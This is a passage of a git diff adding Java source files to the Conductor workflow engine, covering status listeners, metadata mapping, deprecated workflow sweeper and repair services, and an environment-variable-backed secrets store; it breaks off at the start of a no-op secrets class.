onWorkflowRerunIfEnabled(WorkflowModel workflow) { + if (workflow.getWorkflowDefinition().isWorkflowStatusListenerEnabled()) { + onWorkflowRerun(workflow); + } + } + + default void onWorkflowRetriedIfEnabled(WorkflowModel workflow) { + if (workflow.getWorkflowDefinition().isWorkflowStatusListenerEnabled()) { + onWorkflowRetried(workflow); + } + } + + default void onWorkflowPausedIfEnabled(WorkflowModel workflow) { + if (workflow.getWorkflowDefinition().isWorkflowStatusListenerEnabled()) { + onWorkflowPaused(workflow); + } + } + + default void onWorkflowResumedIfEnabled(WorkflowModel workflow) { + if (workflow.getWorkflowDefinition().isWorkflowStatusListenerEnabled()) { + onWorkflowResumed(workflow); + } + } + + void onWorkflowCompleted(WorkflowModel workflow); + + void onWorkflowTerminated(WorkflowModel workflow); + + default void onWorkflowFinalized(WorkflowModel workflow) {} + + default void onWorkflowStarted(WorkflowModel workflow) {} + + default void onWorkflowRestarted(WorkflowModel workflow) {} + + default void onWorkflowRerun(WorkflowModel workflow) {} + + default void onWorkflowPaused(WorkflowModel workflow) {} + + default void onWorkflowResumed(WorkflowModel workflow) {} + + default void onWorkflowRetried(WorkflowModel workflow) {} +} diff --git a/core/src/main/java/com/netflix/conductor/core/listener/WorkflowStatusListenerStub.java b/core/src/main/java/com/netflix/conductor/core/listener/WorkflowStatusListenerStub.java new file mode 100644 index 0000000..63fe090 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/listener/WorkflowStatusListenerStub.java @@ -0,0 +1,39 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.listener; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.model.WorkflowModel; + +/** Stub listener default implementation */ +public class WorkflowStatusListenerStub implements WorkflowStatusListener { + + private static final Logger LOGGER = LoggerFactory.getLogger(WorkflowStatusListenerStub.class); + + @Override + public void onWorkflowCompleted(WorkflowModel workflow) { + LOGGER.debug("Workflow {} is completed", workflow.getWorkflowId()); + } + + @Override + public void onWorkflowTerminated(WorkflowModel workflow) { + LOGGER.debug("Workflow {} is terminated", workflow.getWorkflowId()); + } + + @Override + public void onWorkflowFinalized(WorkflowModel workflow) { + LOGGER.debug("Workflow {} is finalized", workflow.getWorkflowId()); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/metadata/MetadataMapperService.java b/core/src/main/java/com/netflix/conductor/core/metadata/MetadataMapperService.java new file mode 100644 index 0000000..1a4c1c8 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/metadata/MetadataMapperService.java @@ -0,0 +1,201 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.metadata; + +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.WorkflowContext; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.utils.Utils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * Populates metadata definitions within workflow objects. Benefits of loading and populating + * metadata definitions upfront could be: + * + *

      + *
    • Immutable definitions within a workflow execution with the added benefit of guaranteeing + * consistency at runtime. + *
    • Stress is reduced on the storage layer + *
    + */ +@Component +public class MetadataMapperService { + + public static final Logger LOGGER = LoggerFactory.getLogger(MetadataMapperService.class); + private final MetadataDAO metadataDAO; + + public MetadataMapperService(MetadataDAO metadataDAO) { + this.metadataDAO = metadataDAO; + } + + public WorkflowDef lookupForWorkflowDefinition(String name, Integer version) { + Optional potentialDef = + version == null + ? lookupLatestWorkflowDefinition(name) + : lookupWorkflowDefinition(name, version); + + // Check if the workflow definition is valid + return potentialDef.orElseThrow( + () -> { + LOGGER.error( + "There is no workflow defined with name {} and version {}", + name, + version); + return new NotFoundException( + "No such workflow defined. name=%s, version=%s", name, version); + }); + } + + @VisibleForTesting + Optional lookupWorkflowDefinition(String workflowName, int workflowVersion) { + Utils.checkArgument( + StringUtils.isNotBlank(workflowName), + "Workflow name must be specified when searching for a definition"); + return metadataDAO.getWorkflowDef(workflowName, workflowVersion); + } + + @VisibleForTesting + Optional lookupLatestWorkflowDefinition(String workflowName) { + Utils.checkArgument( + StringUtils.isNotBlank(workflowName), + "Workflow name must be specified when searching for a definition"); + return metadataDAO.getLatestWorkflowDef(workflowName); + } + + public WorkflowModel populateWorkflowWithDefinitions(WorkflowModel workflow) { + Utils.checkNotNull(workflow, "workflow cannot be null"); + WorkflowDef workflowDefinition = + Optional.ofNullable(workflow.getWorkflowDefinition()) + .orElseGet( + () -> { + WorkflowDef wd = + lookupForWorkflowDefinition( + workflow.getWorkflowName(), + workflow.getWorkflowVersion()); + workflow.setWorkflowDefinition(wd); + return wd; + }); + + workflowDefinition.collectTasks().forEach(this::populateWorkflowTaskWithDefinition); + checkNotEmptyDefinitions(workflowDefinition); + + return workflow; + } + + public WorkflowDef populateTaskDefinitions(WorkflowDef workflowDefinition) { + Utils.checkNotNull(workflowDefinition, "workflowDefinition cannot be null"); + workflowDefinition.collectTasks().forEach(this::populateWorkflowTaskWithDefinition); + checkNotEmptyDefinitions(workflowDefinition); + return workflowDefinition; + } + + private void populateWorkflowTaskWithDefinition(WorkflowTask workflowTask) { + Utils.checkNotNull(workflowTask, "WorkflowTask cannot be null"); + if (shouldPopulateTaskDefinition(workflowTask)) { + workflowTask.setTaskDefinition(metadataDAO.getTaskDef(workflowTask.getName())); + if (workflowTask.getTaskDefinition() == null) { + // ad-hoc task def — for non-SIMPLE tasks (system tasks like WAIT, + // SET_VARIABLE, etc.) disable retries and response-timeout so they are + // not inadvertently timed-out or retried by the decider + TaskDef adHocDef = new TaskDef(workflowTask.getName()); + if (!workflowTask.getType().equals(TaskType.SIMPLE.name())) { + adHocDef.setRetryCount(0); + adHocDef.setResponseTimeoutSeconds(0); + } + workflowTask.setTaskDefinition(adHocDef); + } + } + if (workflowTask.getType().equals(TaskType.SUB_WORKFLOW.name())) { + populateVersionForSubWorkflow(workflowTask); + } + } + + private void populateVersionForSubWorkflow(WorkflowTask workflowTask) { + Utils.checkNotNull(workflowTask, "WorkflowTask cannot be null"); + SubWorkflowParams subworkflowParams = workflowTask.getSubWorkflowParam(); + if (subworkflowParams.getVersion() == null) { + String subWorkflowName = subworkflowParams.getName(); + Integer subWorkflowVersion = + metadataDAO + .getLatestWorkflowDef(subWorkflowName) + .map(WorkflowDef::getVersion) + .orElseThrow( + () -> { + String reason = + String.format( + "The Task %s defined as a sub-workflow has no workflow definition available ", + subWorkflowName); + LOGGER.error(reason); + return new TerminateWorkflowException(reason); + }); + subworkflowParams.setVersion(subWorkflowVersion); + } + } + + private void checkNotEmptyDefinitions(WorkflowDef workflowDefinition) { + Utils.checkNotNull(workflowDefinition, "WorkflowDefinition cannot be null"); + + // Obtain the names of the tasks with missing definitions + Set missingTaskDefinitionNames = + workflowDefinition.collectTasks().stream() + .filter( + workflowTask -> + workflowTask.getType().equals(TaskType.SIMPLE.name())) + .filter(this::shouldPopulateTaskDefinition) + .map(WorkflowTask::getName) + .collect(Collectors.toSet()); + + if (!missingTaskDefinitionNames.isEmpty()) { + LOGGER.error( + "Cannot find the task definitions for the following tasks used in workflow: {}", + missingTaskDefinitionNames); + Monitors.recordWorkflowStartError( + workflowDefinition.getName(), WorkflowContext.get().getClientApp()); + throw new IllegalArgumentException( + "Cannot find the task definitions for the following tasks used in workflow: " + + missingTaskDefinitionNames); + } + } + + public TaskModel populateTaskWithDefinition(TaskModel task) { + Utils.checkNotNull(task, "Task cannot be null"); + populateWorkflowTaskWithDefinition(task.getWorkflowTask()); + return task; + } + + @VisibleForTesting + boolean shouldPopulateTaskDefinition(WorkflowTask workflowTask) { + Utils.checkNotNull(workflowTask, "WorkflowTask cannot be null"); + Utils.checkNotNull(workflowTask.getType(), "WorkflowTask type cannot be null"); + return workflowTask.getTaskDefinition() == null + && StringUtils.isNotBlank(workflowTask.getName()); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowReconciler.java b/core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowReconciler.java new file mode 100644 index 0000000..9e7e6e4 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowReconciler.java @@ -0,0 +1,102 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.reconciliation; + +import java.util.List; +import java.util.concurrent.CompletableFuture; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.LifecycleAwareComponent; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; + +import static com.netflix.conductor.core.utils.Utils.DECIDER_QUEUE; + +/** + * Periodically polls all running workflows in the system and evaluates them for timeouts and/or + * maintain consistency. + */ +// Deprecated - and superseeded by new WorkflowSweeper in org.conductoross.conductor.core.execution +// package +@Deprecated(forRemoval = true) +@Component +@ConditionalOnProperty( + name = "conductor.workflow-reconciler.enabled", + havingValue = "true", + matchIfMissing = false) +public class WorkflowReconciler extends LifecycleAwareComponent { + + private final WorkflowSweeper workflowSweeper; + private final QueueDAO queueDAO; + private final int sweeperThreadCount; + private final int sweeperWorkflowPollTimeout; + + private static final Logger LOGGER = LoggerFactory.getLogger(WorkflowReconciler.class); + + public WorkflowReconciler( + WorkflowSweeper workflowSweeper, QueueDAO queueDAO, ConductorProperties properties) { + this.workflowSweeper = workflowSweeper; + this.queueDAO = queueDAO; + this.sweeperThreadCount = properties.getSweeperThreadCount(); + this.sweeperWorkflowPollTimeout = + (int) properties.getSweeperWorkflowPollTimeout().toMillis(); + LOGGER.info( + "WorkflowReconciler initialized with {} sweeper threads", + properties.getSweeperThreadCount()); + } + + @Scheduled( + fixedDelayString = "${conductor.sweep-frequency.millis:500}", + initialDelayString = "${conductor.sweep-frequency.millis:500}") + public void pollAndSweep() { + try { + if (!isRunning()) { + LOGGER.debug("Component stopped, skip workflow sweep"); + } else { + List workflowIds = + queueDAO.pop(DECIDER_QUEUE, sweeperThreadCount, sweeperWorkflowPollTimeout); + if (workflowIds != null) { + // wait for all workflow ids to be "swept" + CompletableFuture.allOf( + workflowIds.stream() + .map(workflowSweeper::sweepAsync) + .toArray(CompletableFuture[]::new)) + .get(); + LOGGER.debug( + "Sweeper processed {} from the decider queue", + String.join(",", workflowIds)); + } + // NOTE: Disabling the sweeper implicitly disables this metric. + recordQueueDepth(); + } + } catch (Exception e) { + Monitors.error(WorkflowReconciler.class.getSimpleName(), "poll"); + LOGGER.error("Error when polling for workflows", e); + if (e instanceof InterruptedException) { + // Restore interrupted state... + Thread.currentThread().interrupt(); + } + } + } + + private void recordQueueDepth() { + int currentQueueSize = queueDAO.getSize(DECIDER_QUEUE); + Monitors.recordGauge(DECIDER_QUEUE, currentQueueSize); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowRepairService.java b/core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowRepairService.java new file mode 100644 index 0000000..8b6a42d --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowRepairService.java @@ -0,0 +1,205 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.reconciliation; + +import java.util.Optional; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.function.Predicate; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.core.utils.Utils; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * A helper service that tries to keep ExecutionDAO and QueueDAO in sync, based on the task or + * workflow state. + * + *

    This service expects that the underlying Queueing layer implements {@link + * QueueDAO#containsMessage(String, String)} method. This can be controlled with + * conductor.workflow-repair-service.enabled property. + */ +@Service +// Deprecated and replaced by new workflow sweeper +@Deprecated +@ConditionalOnProperty(name = "conductor.workflow-repair-service.enabled", havingValue = "true") +public class WorkflowRepairService { + + private static final Logger LOGGER = LoggerFactory.getLogger(WorkflowRepairService.class); + private final ExecutionDAO executionDAO; + private final QueueDAO queueDAO; + private final ConductorProperties properties; + private SystemTaskRegistry systemTaskRegistry; + + /* + For system task -> Verify the task isAsync() and not isAsyncComplete() or isAsyncComplete() in SCHEDULED state, + and in SCHEDULED or IN_PROGRESS state. (Example: SUB_WORKFLOW tasks in SCHEDULED state) + For simple task -> Verify the task is in SCHEDULED state. + */ + private final Predicate isTaskRepairable = + task -> { + if (systemTaskRegistry.isSystemTask(task.getTaskType())) { // If system task + WorkflowSystemTask workflowSystemTask = + systemTaskRegistry.get(task.getTaskType()); + return workflowSystemTask.isAsync() + && (!workflowSystemTask.isAsyncComplete(task) + || (workflowSystemTask.isAsyncComplete(task) + && task.getStatus() == TaskModel.Status.SCHEDULED)) + && (task.getStatus() == TaskModel.Status.IN_PROGRESS + || task.getStatus() == TaskModel.Status.SCHEDULED); + } else { // Else if simple task + return task.getStatus() == TaskModel.Status.SCHEDULED; + } + }; + + public WorkflowRepairService( + ExecutionDAO executionDAO, + QueueDAO queueDAO, + ConductorProperties properties, + SystemTaskRegistry systemTaskRegistry) { + this.executionDAO = executionDAO; + this.queueDAO = queueDAO; + this.properties = properties; + this.systemTaskRegistry = systemTaskRegistry; + LOGGER.info("WorkflowRepairService Initialized"); + } + + /** + * Verify and repair if the workflowId exists in deciderQueue, and then if each scheduled task + * has relevant message in the queue. + */ + public boolean verifyAndRepairWorkflow(String workflowId, boolean includeTasks) { + WorkflowModel workflow = executionDAO.getWorkflow(workflowId, includeTasks); + AtomicBoolean repaired = new AtomicBoolean(false); + repaired.set(verifyAndRepairDeciderQueue(workflow)); + if (includeTasks) { + workflow.getTasks().forEach(task -> repaired.set(verifyAndRepairTask(task))); + } + return repaired.get(); + } + + /** Verify and repair tasks in a workflow. */ + public void verifyAndRepairWorkflowTasks(String workflowId) { + WorkflowModel workflow = + Optional.ofNullable(executionDAO.getWorkflow(workflowId, true)) + .orElseThrow( + () -> + new NotFoundException( + "Could not find workflow: " + workflowId)); + verifyAndRepairWorkflowTasks(workflow); + } + + /** Verify and repair tasks in a workflow. */ + public void verifyAndRepairWorkflowTasks(WorkflowModel workflow) { + workflow.getTasks().forEach(this::verifyAndRepairTask); + // repair the parent workflow if needed + verifyAndRepairWorkflow(workflow.getParentWorkflowId()); + } + + /** + * Verify and fix if Workflow decider queue contains this workflowId. + * + * @return true - if the workflow was queued for repair + */ + private boolean verifyAndRepairDeciderQueue(WorkflowModel workflow) { + if (!workflow.getStatus().isTerminal()) { + return verifyAndRepairWorkflow(workflow.getWorkflowId()); + } + return false; + } + + /** + * Verify if ExecutionDAO and QueueDAO agree for the provided task. + * + * @param task the task to be repaired + * @return true - if the task was queued for repair + */ + @VisibleForTesting + boolean verifyAndRepairTask(TaskModel task) { + if (isTaskRepairable.test(task)) { + // Ensure QueueDAO contains this taskId + String taskQueueName = QueueUtils.getQueueName(task); + if (!queueDAO.containsMessage(taskQueueName, task.getTaskId())) { + queueDAO.push(taskQueueName, task.getTaskId(), task.getCallbackAfterSeconds()); + LOGGER.info( + "Task {} in workflow {} re-queued for repairs", + task.getTaskId(), + task.getWorkflowInstanceId()); + Monitors.recordQueueMessageRepushFromRepairService(task.getTaskDefName()); + return true; + } + } else if (task.getTaskType().equals(TaskType.TASK_TYPE_SUB_WORKFLOW) + && task.getStatus() == TaskModel.Status.IN_PROGRESS) { + WorkflowModel subWorkflow = executionDAO.getWorkflow(task.getSubWorkflowId(), false); + if (subWorkflow.getStatus().isTerminal()) { + LOGGER.info( + "Repairing sub workflow task {} for sub workflow {} in workflow {}", + task.getTaskId(), + task.getSubWorkflowId(), + task.getWorkflowInstanceId()); + repairSubWorkflowTask(task, subWorkflow); + return true; + } + } + return false; + } + + private boolean verifyAndRepairWorkflow(String workflowId) { + if (StringUtils.isNotEmpty(workflowId)) { + String queueName = Utils.DECIDER_QUEUE; + if (!queueDAO.containsMessage(queueName, workflowId)) { + queueDAO.push( + queueName, workflowId, properties.getWorkflowOffsetTimeout().getSeconds()); + LOGGER.info("Workflow {} re-queued for repairs", workflowId); + Monitors.recordQueueMessageRepushFromRepairService(queueName); + return true; + } + return false; + } + return false; + } + + private void repairSubWorkflowTask(TaskModel task, WorkflowModel subWorkflow) { + switch (subWorkflow.getStatus()) { + case COMPLETED: + task.setStatus(TaskModel.Status.COMPLETED); + break; + case FAILED: + task.setStatus(TaskModel.Status.FAILED); + break; + case TERMINATED: + task.setStatus(TaskModel.Status.CANCELED); + break; + case TIMED_OUT: + task.setStatus(TaskModel.Status.TIMED_OUT); + break; + } + task.addOutput(subWorkflow.getOutput()); + executionDAO.updateTask(task); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowSweeper.java b/core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowSweeper.java new file mode 100644 index 0000000..2c68f8f --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowSweeper.java @@ -0,0 +1,220 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.reconciliation; + +import java.time.Instant; +import java.util.Optional; +import java.util.Random; +import java.util.concurrent.CompletableFuture; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.scheduling.annotation.Async; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.core.WorkflowContext; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.TaskModel.Status; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.ExecutionLockService; + +import static com.netflix.conductor.core.config.SchedulerConfiguration.SWEEPER_EXECUTOR_NAME; +import static com.netflix.conductor.core.utils.Utils.DECIDER_QUEUE; + +// Deprecated in favor of org.conductoross.conductor.core.execution.WorkflowSweeper +@Deprecated(forRemoval = true) +@Component +@ConditionalOnProperty( + name = "conductor.app.legacy.sweeper.enabled", + havingValue = "true", + matchIfMissing = false) +public class WorkflowSweeper { + + private static final Logger LOGGER = LoggerFactory.getLogger(WorkflowSweeper.class); + + private final ConductorProperties properties; + private final WorkflowExecutor workflowExecutor; + private final WorkflowRepairService workflowRepairService; + private final QueueDAO queueDAO; + private final ExecutionDAOFacade executionDAOFacade; + private final ExecutionLockService executionLockService; + + private static final String CLASS_NAME = WorkflowSweeper.class.getSimpleName(); + + public WorkflowSweeper( + WorkflowExecutor workflowExecutor, + Optional workflowRepairService, + ConductorProperties properties, + QueueDAO queueDAO, + ExecutionDAOFacade executionDAOFacade, + ExecutionLockService executionLockService) { + this.properties = properties; + this.queueDAO = queueDAO; + this.workflowExecutor = workflowExecutor; + this.executionDAOFacade = executionDAOFacade; + this.workflowRepairService = workflowRepairService.orElse(null); + this.executionLockService = executionLockService; + LOGGER.info("WorkflowSweeper initialized."); + } + + @Async(SWEEPER_EXECUTOR_NAME) + public CompletableFuture sweepAsync(String workflowId) { + sweep(workflowId); + return CompletableFuture.completedFuture(null); + } + + public void sweep(String workflowId) { + WorkflowContext workflowContext = new WorkflowContext(properties.getAppId()); + WorkflowContext.set(workflowContext); + WorkflowModel workflow = null; + try { + if (!executionLockService.acquireLock(workflowId)) { + return; + } + workflow = executionDAOFacade.getWorkflowModel(workflowId, true); + LOGGER.debug("Running sweeper for workflow {}", workflowId); + if (workflowRepairService != null) { + // Verify and repair tasks in the workflow. + workflowRepairService.verifyAndRepairWorkflowTasks(workflow); + } + long decideStartTime = System.currentTimeMillis(); + workflow = workflowExecutor.decide(workflow.getWorkflowId()); + Monitors.recordWorkflowDecisionTime(System.currentTimeMillis() - decideStartTime); + if (workflow != null && workflow.getStatus().isTerminal()) { + queueDAO.remove(DECIDER_QUEUE, workflowId); + return; + } + } catch (NotFoundException nfe) { + queueDAO.remove(DECIDER_QUEUE, workflowId); + LOGGER.info( + "Workflow NOT found for id:{}. Removed it from decider queue", workflowId, nfe); + return; + } catch (Exception e) { + Monitors.error(CLASS_NAME, "sweep"); + LOGGER.error("Error running sweep for " + workflowId, e); + } finally { + executionLockService.releaseLock(workflowId); + } + long workflowOffsetTimeout = + workflowOffsetWithJitter(properties.getWorkflowOffsetTimeout().getSeconds()); + if (workflow != null) { + long startTime = Instant.now().toEpochMilli(); + unack(workflow, workflowOffsetTimeout); + long endTime = Instant.now().toEpochMilli(); + Monitors.recordUnackTime(workflow.getWorkflowName(), endTime - startTime); + } else { + LOGGER.warn( + "Workflow with {} id can not be found. Attempting to unack using the id", + workflowId); + queueDAO.setUnackTimeout(DECIDER_QUEUE, workflowId, workflowOffsetTimeout * 1000); + } + } + + /** + * Calculates the next decider queue unack delay by evaluating active tasks and choosing the + * smallest eligible delay. This prevents long-running tasks from delaying evaluation when a + * shorter timeout is due, while still honoring maxPostpone caps. + */ + @VisibleForTesting + void unack(WorkflowModel workflowModel, long workflowOffsetTimeout) { + // Pick the minimum next-evaluation delay across eligible tasks, capped by maxPostpone. + Long postponeDurationSeconds = null; + long maxPostponeSeconds = properties.getMaxPostponeDurationSeconds().getSeconds(); + for (TaskModel taskModel : workflowModel.getTasks()) { + Long candidateSeconds = null; + if (taskModel.getStatus() == Status.IN_PROGRESS) { + // Active tasks: delay based on wait/response timeout or workflow offset. + if (taskModel.getTaskType().equals(TaskType.TASK_TYPE_WAIT)) { + if (taskModel.getWaitTimeout() == 0) { + candidateSeconds = workflowOffsetTimeout; + } else { + // waitTimeout is an absolute epoch ms; compute remaining seconds. + long deltaInSeconds = + (taskModel.getWaitTimeout() - System.currentTimeMillis()) / 1000; + candidateSeconds = (deltaInSeconds > 0) ? deltaInSeconds : 0; + } + } else if (taskModel.getTaskType().equals(TaskType.TASK_TYPE_HUMAN)) { + candidateSeconds = workflowOffsetTimeout; + } else { + candidateSeconds = + (taskModel.getResponseTimeoutSeconds() != 0) + // Add 1s so the response timeout window fully elapses. + ? taskModel.getResponseTimeoutSeconds() + 1 + : workflowOffsetTimeout; + } + } else if (taskModel.getStatus() == Status.SCHEDULED) { + // Scheduled tasks: use poll timeout when present, else workflow timeout or offset. + Optional taskDefinition = taskModel.getTaskDefinition(); + if (taskDefinition.isPresent()) { + TaskDef taskDef = taskDefinition.get(); + if (taskDef.getPollTimeoutSeconds() != null + && taskDef.getPollTimeoutSeconds() != 0) { + candidateSeconds = taskDef.getPollTimeoutSeconds().longValue() + 1; + } else { + candidateSeconds = + (workflowModel.getWorkflowDefinition().getTimeoutSeconds() != 0) + ? workflowModel.getWorkflowDefinition().getTimeoutSeconds() + + 1 + : workflowOffsetTimeout; + } + } else { + candidateSeconds = + (workflowModel.getWorkflowDefinition().getTimeoutSeconds() != 0) + ? workflowModel.getWorkflowDefinition().getTimeoutSeconds() + 1 + : workflowOffsetTimeout; + } + } + + if (candidateSeconds == null) { + continue; + } + if (candidateSeconds < 0) { + candidateSeconds = 0L; + } + // Cap every candidate to avoid excessive unack delay. + if (candidateSeconds > maxPostponeSeconds) { + candidateSeconds = maxPostponeSeconds; + } + if (postponeDurationSeconds == null || candidateSeconds < postponeDurationSeconds) { + postponeDurationSeconds = candidateSeconds; + } + } + // Default to immediate re-evaluation if no eligible task delay is found. + long unackSeconds = (postponeDurationSeconds != null) ? postponeDurationSeconds : 0; + queueDAO.setUnackTimeout(DECIDER_QUEUE, workflowModel.getWorkflowId(), unackSeconds * 1000); + } + + /** + * jitter will be +- (1/3) workflowOffsetTimeout for example, if workflowOffsetTimeout is 45 + * seconds, this function returns values between [30-60] seconds + * + * @param workflowOffsetTimeout + * @return + */ + @VisibleForTesting + long workflowOffsetWithJitter(long workflowOffsetTimeout) { + long range = workflowOffsetTimeout / 3; + long jitter = new Random().nextInt((int) (2 * range + 1)) - range; + return workflowOffsetTimeout + jitter; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/secrets/EnvVariableSecretsDAO.java b/core/src/main/java/com/netflix/conductor/core/secrets/EnvVariableSecretsDAO.java new file mode 100644 index 0000000..0565686 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/secrets/EnvVariableSecretsDAO.java @@ -0,0 +1,60 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.secrets; + +import java.util.ArrayList; +import java.util.List; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.env.EnvVarLookup; +import com.netflix.conductor.dao.SecretsDAO; + +@Component +@ConditionalOnProperty(name = "conductor.secrets.type", havingValue = "env", matchIfMissing = true) +public class EnvVariableSecretsDAO implements SecretsDAO { + + private final String prefix; + + public EnvVariableSecretsDAO( + @Value("${conductor.secrets.env.prefix:CONDUCTOR_SECRET_}") String prefix) { + this.prefix = prefix; + } + + @Override + public String getSecret(String name) { + return EnvVarLookup.lookup(prefix, name); + } + + @Override + public boolean secretExists(String name) { + return getSecret(name) != null; + } + + @Override + public List listSecretNames() { + return new ArrayList<>(EnvVarLookup.allWithPrefix(prefix).keySet()); + } + + @Override + public void putSecret(String name, String value) { + throw new UnsupportedOperationException("env-backed secrets are read-only"); + } + + @Override + public void deleteSecret(String name) { + throw new UnsupportedOperationException("env-backed secrets are read-only"); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/secrets/NoopSecretsDAO.java b/core/src/main/java/com/netflix/conductor/core/secrets/NoopSecretsDAO.java new file mode 100644 index 0000000..f09d450 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/secrets/NoopSecretsDAO.java @@ -0,0 +1,51 @@ +/* + * Copyright 2026 Conductor Authors. + 